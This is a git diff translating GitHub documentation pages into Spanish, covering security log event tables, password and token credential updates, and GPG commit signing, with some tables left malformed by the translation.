-| `sponsored_developer_request_approval` | Triggered when you submit your application for {% data variables.product.prodname_sponsors %} for approval (see "[Setting up {% data variables.product.prodname_sponsors %} for your user account](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-user-account)")
-| `sponsored_developer_tier_description_update` | Triggered when you change the description for a sponsorship tier (see "[Managing your sponsorship tiers](/sponsors/receiving-sponsorships-through-github-sponsors/managing-your-sponsorship-tiers)")
-| `sponsored_developer_update_newsletter_send` | Triggered when you send an email update to your sponsors (see "[Contacting your sponsors](/sponsors/receiving-sponsorships-through-github-sponsors/contacting-your-sponsors)")
-| `waitlist_invite_sponsored_developer` | Triggered when you are invited to join {% data variables.product.prodname_sponsors %} from the waitlist (see "[Setting up {% data variables.product.prodname_sponsors %} for your user account](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-user-account)")
-| `waitlist_join` | Triggered when you join the waitlist to become a sponsored developer (see "[Setting up {% data variables.product.prodname_sponsors %} for your user account](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-user-account)")
+| Acción                                                                                                            | Descripción                                                                                                                                                                                                                                                                                                                             |
+| ----------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `custom_amount_settings_change`                                                                                   | Se activa cuando habilitas o inhabilitas las cantidades personalizadas o cuando cambias la cantidad personalizada sugerida (consulta la secicón "[Administrar tus niveles de patrocinio](/github/supporting-the-open-source-community-with-github-sponsors/managing-your-sponsorship-tiers)")                                           |
+| `repo_funding_links_file_action (acción de archivo de enlaces de financiamiento del repositorio)`                 | Se activa cuando cambias el archivo FUNDING de tu repositorio (consulta "[Mostrar un botón de patrocinador en tu repositorio](/articles/displaying-a-sponsor-button-in-your-repository)")                                                                                                                                               |
+| `sponsor_sponsorship_cancel (cancelación del patrocinio del patrocinador)`                                        | Se activa cuando cancelas un patrocinio (consulta "[Bajar de categoría un patrocinio](/articles/downgrading-a-sponsorship)")                                                                                                                                                                                                            |
+| `sponsor_sponsorship_create (creación de un patrocinio de patrocinador)`                                          | Se activa cuando patrocinas una cuenta (consulta la sección "[Patrocinar a un contribuyente de código abierto](/sponsors/sponsoring-open-source-contributors/sponsoring-an-open-source-contributor)")                                                                                                                                   |
+| `sponsor_sponsorship_payment_complete`                                                                            | Se activa después de que patrocinas una cuenta y se procesa tu pago (consulta la sección "[Patrocinar a un contribuyente de código abierto](/sponsors/sponsoring-open-source-contributors/sponsoring-an-open-source-contributor)")                                                                                                      |
+| `sponsor_sponsorship_preference_change (cambio de preferencia de patrocinio de patrocinador)`                     | Se activa cuando cambias si deseas recibir actualizaciones por correo electrónico de un programador patrocinado o no (consulta la sección "[Administrar tu patrocinio](/sponsors/sponsoring-open-source-contributors/managing-your-sponsorship)")                                                                                       |
+| `sponsor_sponsorship_tier_change (cambiar nivel de patrocinio de patrocinador)`                                   | Se activa cuando subes o bajas de categoría tu patrocinio (consulta "[Subir de categoría un patrocinio](/articles/upgrading-a-sponsorship)" y "[Bajar de categoría un patrocinio](/articles/downgrading-a-sponsorship)")                                                                                                                |
+| `sponsored_developer_approve (aprobación de programador patrocinado)`                                             | Se activa cuando se aprueba tu cuenta de {% data variables.product.prodname_sponsors %} (consulta la sección "[Configurar {% data variables.product.prodname_sponsors %} para tu cuenta de usuario](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-user-account)")                        |
+| `sponsored_developer_create (creación de programador patrocinado)`                                                | Se activa cuando se crea tu cuenta de {% data variables.product.prodname_sponsors %} (consulta la sección "[Configurar {% data variables.product.prodname_sponsors %} para tu cuenta de usuario](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-user-account)")                           |
+| `sponsored_developer_disable`                                                                                     | Se activa cuando se inhabilita tu cuenta de {% data variables.product.prodname_sponsors %}
+| `sponsored_developer_redraft`                                                                                     | Se activa cuando tu cuenta de {% data variables.product.prodname_sponsors %} se devuelve a un estado de borrador desde un estado aprobado                                                                                                                                                                                               |
+| `sponsored_developer_profile_update (actualización del perfil de programador patrocinado)`                        | Se activa cuando editas tu perfil de desarrollador patrocinado (consulta la sección "[Editar tus detalles de perfil para {% data variables.product.prodname_sponsors %}](/sponsors/receiving-sponsorships-through-github-sponsors/editing-your-profile-details-for-github-sponsors)")                                                   |
+| `sponsored_developer_request_approval (aprobación de solicitud de programador patrocinado)`                       | Se activa cuando emites tu solicitud de {% data variables.product.prodname_sponsors %} para su aprobación (consulta la sección "[Configurar {% data variables.product.prodname_sponsors %} para tu cuenta de usuario](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-user-account)")      |
+| `sponsored_developer_tier_description_update (actualización de descripción del nivel de programador patrocinado)` | Se activa cuando cambias la descripción de un nivel de patrocinio (consulta la sección "[Administrar tus niveles de patrocinio](/sponsors/receiving-sponsorships-through-github-sponsors/managing-your-sponsorship-tiers)")                                                                                                             |
+| `sponsored_developer_update_newsletter_send (envío de boletín de actualización del programador patrocinado)`      | Se activa cuando envías una actualización de correo electrónico a tus patrocinadores (consulta la sección "[Contactar a tus patrocinadores](/sponsors/receiving-sponsorships-through-github-sponsors/contacting-your-sponsors)")                                                                                                        |
+| `waitlist_invite_sponsored_developer (invitación a la lista de espera de programadores patrocinados)`             | Se activa cuando te invitan a unirte a {% data variables.product.prodname_sponsors %} desde la lista de espera (consulta la sección "[Configurar {% data variables.product.prodname_sponsors %} para tu cuenta de usuario](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-user-account)") |
+| `waitlist_join (incorporación a la lista de espera)`                                                              | Se activa cuando te unes a la lista de espera para convertirte en un desarrollador patrocinado (consulta la sección "[Configurar {% data variables.product.prodname_sponsors %} para tu cuenta de usuario](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-user-account)")                 |
 {% endif %}
 
 {% ifversion fpt or ghec %}
-### `successor_invitation` category actions
+### acciones de la categoría `successor_invitation`
 
-| Action | Description
-|------------------|-------------------
-| `accept` | Triggered when you accept a succession invitation (see "[Maintaining ownership continuity of your user account's repositories](/github/setting-up-and-managing-your-github-user-account/maintaining-ownership-continuity-of-your-user-accounts-repositories)")
-| `cancel` | Triggered when you cancel a succession invitation (see "[Maintaining ownership continuity of your user account's repositories](/github/setting-up-and-managing-your-github-user-account/maintaining-ownership-continuity-of-your-user-accounts-repositories)")
-| `create` | Triggered when you create a succession invitation (see "[Maintaining ownership continuity of your user account's repositories](/github/setting-up-and-managing-your-github-user-account/maintaining-ownership-continuity-of-your-user-accounts-repositories)")
-| `decline` | Triggered when you decline a succession invitation (see "[Maintaining ownership continuity of your user account's repositories](/github/setting-up-and-managing-your-github-user-account/maintaining-ownership-continuity-of-your-user-accounts-repositories)")
-| `revoke` | Triggered when you revoke a succession invitation (see "[Maintaining ownership continuity of your user account's repositories](/github/setting-up-and-managing-your-github-user-account/maintaining-ownership-continuity-of-your-user-accounts-repositories)")
+| Acción           | Descripción                                                                                                                                                                                                                                                                                     |
+| ---------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `accept`         | Se activa cuando aceptas una invitación de sucesión (consulta la secicón "[Mantener continuidad en la titularidad de los repositorios de tu cuenta de usuario](/github/setting-up-and-managing-your-github-user-account/maintaining-ownership-continuity-of-your-user-accounts-repositories)")  |
+| `cancel`         | Se activa cuando cancelas una invitación de sucesión (consulta la secicón "[Mantener continuidad en la titularidad de los repositorios de tu cuenta de usuario](/github/setting-up-and-managing-your-github-user-account/maintaining-ownership-continuity-of-your-user-accounts-repositories)") |
+| `create (crear)` | Se activa cuando creas una invitación de sucesión (consulta la secicón "[Mantener continuidad en la titularidad de los repositorios de tu cuenta de usuario](/github/setting-up-and-managing-your-github-user-account/maintaining-ownership-continuity-of-your-user-accounts-repositories)")    |
+| `decline`        | Se activa cuando rechazas una invitación de sucesión (consulta la secicón "[Mantener continuidad en la titularidad de los repositorios de tu cuenta de usuario](/github/setting-up-and-managing-your-github-user-account/maintaining-ownership-continuity-of-your-user-accounts-repositories)") |
+| `revoke`         | Se activa cuando retiras una invitación de sucesión (consulta la secicón "[Mantener continuidad en la titularidad de los repositorios de tu cuenta de usuario](/github/setting-up-and-managing-your-github-user-account/maintaining-ownership-continuity-of-your-user-accounts-repositories)")  |
 {% endif %}
 
 {% ifversion ghes or ghae %}
 
-### `team` category actions
+### acciones de la categoría `team`
 
-| Action | Description
-|------------------|-------------------
-| `add_member` | Triggered when a member of an organization you belong to [adds you to a team](/articles/adding-organization-members-to-a-team).
-| `add_repository` | Triggered when a team you are a member of is given control of a repository.
-| `create` | Triggered when a new team in an organization you belong to is created.
-| `destroy` | Triggered when a team you are a member of is deleted from the organization.
-| `remove_member` | Triggered when a member of an organization is [removed from a team](/articles/removing-organization-members-from-a-team) you are a member of.
-| `remove_repository` | Triggered when a repository is no longer under a team's control.
+| Acción                                     | Descripción                                                                                                                                          |
+| ------------------------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `add_member (agregar miembro)`             | Se activa cuando un miembro de una organización a la que perteneces te [agrega a un equipo](/articles/adding-organization-members-to-a-team).        |
+| `add_repository (agregar repositorio)`     | Se activa cuando se le otorga el control de un repositorio a un equipo del que eres miembro.                                                         |
+| `create (crear)`                           | Se activa cuando se crea un equipo nuevo en una organización a la que perteneces.                                                                    |
+| `destroy (destruir)`                       | Se activa cuando un equipo del que eres miembro se elimina de la organización.                                                                       |
+| `remove_member (eliminar miembro)`         | Se activa cuando un miembro de una organización se [elimina de un equipo](/articles/removing-organization-members-from-a-team) del que eres miembro. |
+| `remove_repository (eliminar repositorio)` | Se activa cuando un repositorio deja de estar bajo el control de un equipo.                                                                          |
 
 {% endif %}
 
 {% ifversion not ghae %}
-### `two_factor_authentication` category actions
+### acciones de la categoría `two_factor_authentication`
 
-| Action | Description
-|------------------|-------------------
-| `enabled` | Triggered when [two-factor authentication](/articles/securing-your-account-with-two-factor-authentication-2fa) is enabled.
-| `disabled` | Triggered when two-factor authentication is disabled.
+| Acción                    | Descripción                                                                                                                          |
+| ------------------------- | ------------------------------------------------------------------------------------------------------------------------------------ |
+| `enabled (habilitado)`    | Se activa cuando se habilita la [autenticación de dos factores](/articles/securing-your-account-with-two-factor-authentication-2fa). |
+| `disabled (inhabilitado)` | Se activa cuando se inhabilita la autenticación de dos factores.                                                                     |
 {% endif %}
 
-### `user` category actions
+### acciones de la categoría `user`
 
-| Action | Description
-|--------------------|---------------------
-| `add_email` | Triggered when you {% ifversion not ghae %}[add a new email address](/articles/changing-your-primary-email-address){% else %}add a new email address{% endif %}.{% ifversion fpt or ghec %}
-| `codespaces_trusted_repo_access_granted` | Triggered when you [allow the codespaces you create for a repository to access other repositories owned by your user account](/github/developing-online-with-codespaces/managing-access-and-security-for-codespaces.
-| `codespaces_trusted_repo_access_revoked` | Triggered when you [disallow the codespaces you create for a repository to access other repositories owned by your user account](/github/developing-online-with-codespaces/managing-access-and-security-for-codespaces. {% endif %}
-| `create` | Triggered when you create a new user account.{% ifversion not ghae %}
-| `change_password` | Triggered when you change your password.
-| `forgot_password` | Triggered when you ask for [a password reset](/articles/how-can-i-reset-my-password).{% endif %}
-| `hide_private_contributions_count` | Triggered when you [hide private contributions on your profile](/articles/publicizing-or-hiding-your-private-contributions-on-your-profile).
-| `login` | Triggered when you log in to {% data variables.product.product_location %}.{% ifversion ghes or ghae %}
-`mandatory_message_viewed`   | Triggered when you view a mandatory message (see "[Customizing user messages](/admin/user-management/customizing-user-messages-for-your-enterprise)" for details) | {% endif %}
-| `failed_login` | Triggered when you failed to log in successfully.
-| `remove_email` | Triggered when you remove an email address.
-| `rename` | Triggered when you rename your account.{% ifversion fpt or ghec %}
-| `report_content` | Triggered when you [report an issue or pull request, or a comment on an issue, pull request, or commit](/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam).{% endif %}
-| `show_private_contributions_count` | Triggered when you [publicize private contributions on your profile](/articles/publicizing-or-hiding-your-private-contributions-on-your-profile).{% ifversion not ghae %}
-| `two_factor_requested` | Triggered when {% data variables.product.product_name %} asks you for [your two-factor authentication code](/articles/accessing-github-using-two-factor-authentication).{% endif %}
+| Acción                                                                                                                                                                                                                       | Descripción                                                                                                                                                                                                                                        |
+| ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `add_email (agregar correo electrónico)`                                                                                                                                                                                     | Se activa cuando                                                                                                                                                                                                                                   |
+| {% ifversion not ghae %}[agregas una dirección de correo electrónico nueva](/articles/changing-your-primary-email-address){% else %}agregas una dirección de correo electrónico nueva{% endif %}.{% ifversion fpt or ghec %} |                                                                                                                                                                                                                                                    |
+| `codespaces_trusted_repo_access_granted`                                                                                                                                                                                     | Se activa cuando \[permites que los codespaces que creas para un repositorio accedan a otros repositorios que pertenezcan a tu cuenta de usuario\](/github/developing-online-with-codespaces/managing-access-and-security-for-codespaces.          |
+| `codespaces_trusted_repo_access_revoked`                                                                                                                                                                                     | Se activa cuando \[dejas de permitir que los codespaces que creas para un repositorio accedan a otros repositorios que pertenezcan a tu cuenta de usuario\](/github/developing-online-with-codespaces/managing-access-and-security-for-codespaces. |{% endif %}
+| `create (crear)`                                                                                                                                                                                                             | Se activa cuando creas una cuenta de usuario nueva.{% ifversion not ghae %}
+| `change_password (cambiar contraseña)`                                                                                                                                                                                       | Se activa cuando cambias tu contraseña.                                                                                                                                                                                                            |
+| `forgot_password (olvidé la contraseña)`                                                                                                                                                                                     | Se activa cuando pides [un restablecimiento de contraseña](/articles/how-can-i-reset-my-password).{% endif %}
+| `hide_private_contributions_count (ocultar conteo de contribuciones privadas)`                                                                                                                                               | Se activa cuando [ocultas contribuciones privadas en tu perfil](/articles/publicizing-or-hiding-your-private-contributions-on-your-profile).                                                                                                       |
+| `login`                                                                                                                                                                                                                      | Se activa cuando inicias sesión en {% data variables.product.product_location %}.{% ifversion ghes or ghae %}
 
-### `user_status` category actions
 
-| Action | Description
-|--------------------|---------------------
-| `update` | Triggered when you set or change the status on your profile. For more information, see "[Setting a status](/articles/personalizing-your-profile/#setting-a-status)."
-| `destroy` | Triggered when you clear the status on your profile.
+`mandatory_message_viewed`   | Se activa cuando ves un mensaje obligatorio (consulta la sección "[Personalizar los mensajes de usuario](/admin/user-management/customizing-user-messages-for-your-enterprise)" para obtener más detalles) | |{% endif %}| | `failed_login` | Se activa cuando fallas en ingresar con éxito. | `remove_email` | Se activa cuando eliminas una dirección de correo electrónico. | `rename` | Se activa cuando vuelves a nombrar tu cuenta.{% ifversion fpt or ghec %} | `report_content` | Se activa cuando [reportas una propuesta o solicitud de cambios o un comentario en una propuesta, solicitud de cambios o confirmación](/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam).{% endif %} | `show_private_contributions_count` | Se activa cuando [publicitas contribuciones privadas en tu perfil](/articles/publicizing-or-hiding-your-private-contributions-on-your-profile).{% ifversion not ghae %} | `two_factor_requested` | Se activa cuando {% data variables.product.product_name %} te pide tu [código de autenticación bifactorial](/articles/accessing-github-using-two-factor-authentication).{% endif %}
+
+### acciones de la categoría `user_status`
+
+| Acción               | Descripción                                                                                                                                                                            |
+| -------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `actualización`      | Se activa cuando estableces o cambias el estado en tu perfil. Para obtener más información, consulta "[Configurar un estado](/articles/personalizing-your-profile/#setting-a-status)". |
+| `destroy (destruir)` | Se activa cuando eliminas el estado de tu perfil.                                                                                                                                      |
diff --git a/translations/es-ES/content/authentication/keeping-your-account-and-data-secure/token-expiration-and-revocation.md b/translations/es-ES/content/authentication/keeping-your-account-and-data-secure/token-expiration-and-revocation.md
index e1a65ff65a..378dc23d91 100644
--- a/translations/es-ES/content/authentication/keeping-your-account-and-data-secure/token-expiration-and-revocation.md
+++ b/translations/es-ES/content/authentication/keeping-your-account-and-data-secure/token-expiration-and-revocation.md
@@ -48,7 +48,7 @@ Los tokens de OAuth y los de acceso personal que se suben a los repositorios y g
 
 Puedes revocar tu autorización de una {% data variables.product.prodname_github_app %} o {% data variables.product.prodname_oauth_app %} desde tus ajustes de cuenta, lo cual revocará cualquier token asociado con la app. Para obtener más información, consulta las secciones "[Revisar tus integraciones autorizadas](/github/authenticating-to-github/keeping-your-account-and-data-secure/reviewing-your-authorized-integrations)" y "[Revisar tus aplicaciones autorizadas (OAuth)](/github/authenticating-to-github/keeping-your-account-and-data-secure/reviewing-your-authorized-applications-oauth)".
 
-Una vez que se revoca una autorización, cualquier token asociado con la autorización también se revocará. To re-authorize an application, follow the instructions from the third-party application or website to connect your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} again.
+Una vez que se revoca una autorización, cualquier token asociado con la autorización también se revocará. Para volver a autorizar una aplicación, sigue las instrucciones de una aplicación de terceros o sitio web para conectarte nuevamente a tu cuenta de {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}.
 
 ## La {% data variables.product.prodname_oauth_app %} revocó el token
 
diff --git a/translations/es-ES/content/authentication/keeping-your-account-and-data-secure/updating-your-github-access-credentials.md b/translations/es-ES/content/authentication/keeping-your-account-and-data-secure/updating-your-github-access-credentials.md
index 8ca974ea4b..df9cf5e4e1 100644
--- a/translations/es-ES/content/authentication/keeping-your-account-and-data-secure/updating-your-github-access-credentials.md
+++ b/translations/es-ES/content/authentication/keeping-your-account-and-data-secure/updating-your-github-access-credentials.md
@@ -1,6 +1,6 @@
 ---
-title: Updating your GitHub access credentials
-intro: '{% data variables.product.product_name %} credentials include{% ifversion not ghae %} not only your password, but also{% endif %} the access tokens, SSH keys, and application API tokens you use to communicate with {% data variables.product.product_name %}. Should you have the need, you can reset all of these access credentials yourself.'
+title: Actualizar tus credenciales de acceso de GitHub
+intro: 'Las credenciales de {% data variables.product.product_name %} no solo incluyen{% ifversion not ghae %} tu contraseña, sino también{% endif %} los tokens de acceso, llaves de SSH, y tokens de la API de la aplicación que utilizas para comunicarte con {% data variables.product.product_name %}. Si lo necesitas, puedes restablecer todas estas credenciales de acceso tú mismo.'
 redirect_from:
   - /articles/rolling-your-credentials
   - /articles/how-can-i-reset-my-password
@@ -15,57 +15,56 @@ versions:
 topics:
   - Identity
   - Access management
-shortTitle: Update access credentials
+shortTitle: Actualizar las credenciales de acceso
 ---
-{% ifversion not ghae %}
-## Requesting a new password
 
-1. To request a new password, visit {% ifversion fpt or ghec %}https://{% data variables.product.product_url %}/password_reset{% else %}`https://{% data variables.product.product_url %}/password_reset`{% endif %}.
-2. Enter the email address associated with your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}, then click **Send password reset email.** The email will be sent to the backup email address if you have one configured.
-  ![Password reset email request dialog](/assets/images/help/settings/password-recovery-email-request.png)
-3. We'll email you a link that will allow you to reset your password. You must click on this link within 3 hours of receiving the email. If you didn't receive an email from us, make sure to check your spam folder.
-4. If you have enabled two-factor authentication, you will be prompted for your 2FA credentials. Type your 2FA credentials or one of your 2FA recovery codes and click **Verify**.
-  ![Two-factor authentication prompt](/assets/images/help/2fa/2fa-password-reset.png)
-5. Type a new password, confirm your new password, and click **Change password**. For help creating a strong password, see "[Creating a strong password](/articles/creating-a-strong-password)."
+{% ifversion not ghae %}
+## Solicitar una contraseña nueva
+
+1. Para solicitar una contraseña nueva, visita {% ifversion fpt or ghec %}https://{% data variables.product.product_url %}/password_reset{% else %}`https://{% data variables.product.product_url %}/password_reset`{% endif %}.
+2. Ingresa la dirección de correo electrónico asociada con tu cuenta de {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} y luego haz clic en **Enviar correo electrónico para restablecer contraseña.** El correo electrónico se enviará a la dirección de respaldo en caso de que la hayas configurado. ![Diálogo de solicitud de correo electrónico de restablecimiento de contraseña](/assets/images/help/settings/password-recovery-email-request.png)
+3. Te enviaremos por correo electrónico un enlace que te permitirá restablecer la contraseña. Debes hacer clic en este enlace dentro de las 3 horas posteriores a haber recibido el correo electrónico. Si no recibiste un correo electrónico de nuestra parte, asegúrate de revisar la carpeta de spam.
+4. Si habilitaste la autenticación bifactorial, se te pedirán tus credenciales de 2FA. Teclea tus credenciales bifactoriales o uno de tus códigos de recuperación de 2FA y haz clic en **Verificar**. ![Mensaje de autenticación bifactorial](/assets/images/help/2fa/2fa-password-reset.png)
+5. Teclea una contraseña nueva, confírmala y haz clic en **Cambiar contraseña**. Para recibir ayuda para crear una contraseña segura, consulta "[Crear una contraseña segura](/articles/creating-a-strong-password)."
   {% ifversion fpt or ghec %}![Password recovery box](/assets/images/help/settings/password-recovery-page.png){% else %}
-  ![Password recovery box](/assets/images/enterprise/settings/password-recovery-page.png){% endif %}
+  ![Casilla de recuperación de contraseña](/assets/images/enterprise/settings/password-recovery-page.png){% endif %}
 
 {% tip %}
 
-To avoid losing your password in the future, we suggest using a secure password manager, like [LastPass](https://lastpass.com/) or [1Password](https://1password.com/).
+Para evitar perder tu contraseña en el futuro, te sugerimos utilizar un administrador de contraseñas seguro, tal como [LastPass](https://lastpass.com/) o [1Password](https://1password.com/).
 
 {% endtip %}
 
-## Changing an existing password
+## Cambiar una contraseña existente
 
 {% data reusables.repositories.blocked-passwords %}
 
 1. {% data variables.product.signin_link %} to {% data variables.product.product_name %}.
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.security %}
-4. Under "Change password", type your old password, a strong new password, and confirm your new password. For help creating a strong password, see "[Creating a strong password](/articles/creating-a-strong-password)"
-5. Click **Update password**.
+4. En "Change password" (Cambiar contraseña), escribe tu contraseña antigua, una contraseña segura nueva y confirma tu contraseña nueva. Para recibir ayuda para crear una contraseña segura, consulta "[Crear una contraseña segura](/articles/creating-a-strong-password)"
+5. Haz clic en **Update password** (Actualizar contraseña).
 
 {% tip %}
 
-For greater security, enable two-factor authentication in addition to changing your password. See [About two-factor authentication](/articles/about-two-factor-authentication) for more details.
+Para mayor seguridad, habilita la autenticación de dos factores además de cambiar la contraseña. Consulta [Acerca de la autenticación de dos factores](/articles/about-two-factor-authentication) para obtener más detalles.
 
 {% endtip %}
 {% endif %}
-## Updating your access tokens
+## Actualizar tus tokens de acceso
 
-See "[Reviewing your authorized integrations](/articles/reviewing-your-authorized-integrations)" for instructions on reviewing and deleting access tokens. To generate new access tokens, see "[Creating a personal access token](/github/authenticating-to-github/creating-a-personal-access-token)."
+Consulta "[Revisar tus integraciones autorizadas](/articles/reviewing-your-authorized-integrations)" para recibir indicaciones sobre revisar y eliminar tokens de acceso. Para generar tokens de acceso nuevos, consulta la sección "[Crear un token de acceso personal](/github/authenticating-to-github/creating-a-personal-access-token)".
 
-## Updating your SSH keys
+## Actualizar tus claves SSH
 
-See "[Reviewing your SSH keys](/articles/reviewing-your-ssh-keys)" for instructions on reviewing and deleting SSH keys. To generate and add new SSH keys, see "[Generating an SSH key](/articles/generating-an-ssh-key)."
+Consulta "[Revisar tus claves SSH](/articles/reviewing-your-ssh-keys)" para obtener indicaciones sobre la revisar y eliminar claves SSH. Para generar y agregar claves SSH nuevas, consulta "[Generar una clave SSH](/articles/generating-an-ssh-key)".
 
-## Resetting API tokens
+## Restablecer tokens API
 
-If you have any applications registered with {% data variables.product.product_name %}, you'll want to reset their OAuth tokens. For more information, see the "[Reset an authorization](/rest/reference/apps#reset-an-authorization)" endpoint.
+Si tienes alguna aplicación registrada con {% data variables.product.product_name %}, querrás restablecer sus tokens de OAuth. Para obtener más información, consulta la terminal de "[Restablecer una autorización](/rest/reference/apps#reset-an-authorization)".
 
 {% ifversion not ghae %}
-## Preventing unauthorized access
+## Evitar el acceso no autorizado
 
-For more tips on securing your account and preventing unauthorized access, see "[Preventing unauthorized access](/articles/preventing-unauthorized-access)."
+Para obtener más sugerencias acerca de proteger tu cuenta y evitar el acceso sin autorización, consulta "[Evitar el acceso sin autorización](/articles/preventing-unauthorized-access)".
 {% endif %}
diff --git a/translations/es-ES/content/authentication/managing-commit-signature-verification/adding-a-new-gpg-key-to-your-github-account.md b/translations/es-ES/content/authentication/managing-commit-signature-verification/adding-a-new-gpg-key-to-your-github-account.md
index 47e4e86fe8..9c7281133f 100644
--- a/translations/es-ES/content/authentication/managing-commit-signature-verification/adding-a-new-gpg-key-to-your-github-account.md
+++ b/translations/es-ES/content/authentication/managing-commit-signature-verification/adding-a-new-gpg-key-to-your-github-account.md
@@ -1,6 +1,6 @@
 ---
 title: Agregar una llave GPG nueva a tu cuenta de GitHub
-intro: 'To configure your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} to use your new (or existing) GPG key, you''ll also need the key to your account.'
+intro: 'Para configurar tu cuenta de {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}. para que utilice tu llave GPG nueva (o existente), también necesitarás la llave a tu cuenta.'
 redirect_from:
   - /articles/adding-a-new-gpg-key-to-your-github-account
   - /github/authenticating-to-github/adding-a-new-gpg-key-to-your-github-account
@@ -16,7 +16,7 @@ topics:
 shortTitle: Agrega una llave GPG
 ---
 
-Before adding a new GPG key to your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}, you should have:
+Antes de agregar una llave GPG nueva a tu cuenta de {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}., debes tener:
 - [Comprobado tus llaves GPG existentes](/articles/checking-for-existing-gpg-keys)
 - [Generado y copiado una nueva llave GPG](/articles/generating-a-new-gpg-key)
 
diff --git a/translations/es-ES/content/authentication/managing-commit-signature-verification/associating-an-email-with-your-gpg-key.md b/translations/es-ES/content/authentication/managing-commit-signature-verification/associating-an-email-with-your-gpg-key.md
index 28079b39d8..a56422f0e0 100644
--- a/translations/es-ES/content/authentication/managing-commit-signature-verification/associating-an-email-with-your-gpg-key.md
+++ b/translations/es-ES/content/authentication/managing-commit-signature-verification/associating-an-email-with-your-gpg-key.md
@@ -18,7 +18,7 @@ shortTitle: Asociar el correo electrónico con una llave GPG
 
 {% note %}
 
-If you're using a GPG key that matches your committer identity and your verified email address associated with your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}, then you can begin signing commits and signing tags.
+Si estás utilizando una llave GPG que empata con tu identidad de confirmante y tu dirección de correo electrónico verificada asociada con tu cuenta de {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}, entonces puedes comenzar a firmar confirmaciones y etiquetas.
 
 {% endnote %}
 
diff --git a/translations/es-ES/content/authentication/managing-commit-signature-verification/index.md b/translations/es-ES/content/authentication/managing-commit-signature-verification/index.md
index 8a3ba49810..26ff64f7e9 100644
--- a/translations/es-ES/content/authentication/managing-commit-signature-verification/index.md
+++ b/translations/es-ES/content/authentication/managing-commit-signature-verification/index.md
@@ -1,6 +1,6 @@
 ---
-title: Managing commit signature verification
-intro: 'You can sign your work locally using GPG or S/MIME. {% data variables.product.product_name %} will verify these signatures so other people will know that your commits come from a trusted source.{% ifversion fpt %} {% data variables.product.product_name %} will automatically sign commits you make using the {% data variables.product.product_name %} web interface.{% endif %}'
+title: Administrar la verificación de firma de confirmación de cambios
+intro: 'Puedes firmar tu trabajo localmente utilizando GPG o S/MIME. {% data variables.product.product_name %} verificará estas firmas para que otras personas sepan que tus confirmaciones de cambios provienen de una fuente confiable.{% ifversion fpt %} {% data variables.product.product_name %} firmará de forma automática las confirmaciones de cambios que realices utilizando la interfaz web {% data variables.product.product_name %}.{% endif %}'
 redirect_from:
   - /articles/generating-a-gpg-key
   - /articles/signing-commits-with-gpg
@@ -24,6 +24,6 @@ children:
   - /associating-an-email-with-your-gpg-key
   - /signing-commits
   - /signing-tags
-shortTitle: Verify commit signatures
+shortTitle: Verificar las firmas de confirmación
 ---
 
diff --git a/translations/es-ES/content/authentication/managing-commit-signature-verification/signing-commits.md b/translations/es-ES/content/authentication/managing-commit-signature-verification/signing-commits.md
index a158f5199a..765792c90d 100644
--- a/translations/es-ES/content/authentication/managing-commit-signature-verification/signing-commits.md
+++ b/translations/es-ES/content/authentication/managing-commit-signature-verification/signing-commits.md
@@ -1,6 +1,6 @@
 ---
-title: Signing commits
-intro: You can sign commits locally using GPG or S/MIME.
+title: Firmar confirmaciones
+intro: Puedes firmar las confirmaciones localmente utilizando GPG o S/MIME.
 redirect_from:
   - /articles/signing-commits-and-tags-using-gpg
   - /articles/signing-commits-using-gpg
@@ -16,45 +16,45 @@ topics:
   - Identity
   - Access management
 ---
+
 {% data reusables.gpg.desktop-support-for-commit-signing %}
 
 {% tip %}
 
 **Tips:**
 
-To configure your Git client to sign commits by default for a local repository, in Git versions 2.0.0 and above, run `git config commit.gpgsign true`. To sign all commits by default in any local repository on your computer, run `git config --global commit.gpgsign true`.
+Para configurar tu cliente Git para firmar confirmaciones por defecto de un repositorio local, en versiones Git 2.0.0 y superiores, ejecuta `git config commit.gpgsign true`. Para firmar todas las confirmaciones por defecto en cualquier repositorio local en tu computadora, ejecuta `git config --global commit.gpgsign true`.
 
-To store your GPG key passphrase so you don't have to enter it every time you sign a commit, we recommend using the following tools:
-  - For Mac users, the [GPG Suite](https://gpgtools.org/) allows you to store your GPG key passphrase in the Mac OS Keychain.
-  - For Windows users, the [Gpg4win](https://www.gpg4win.org/) integrates with other Windows tools.
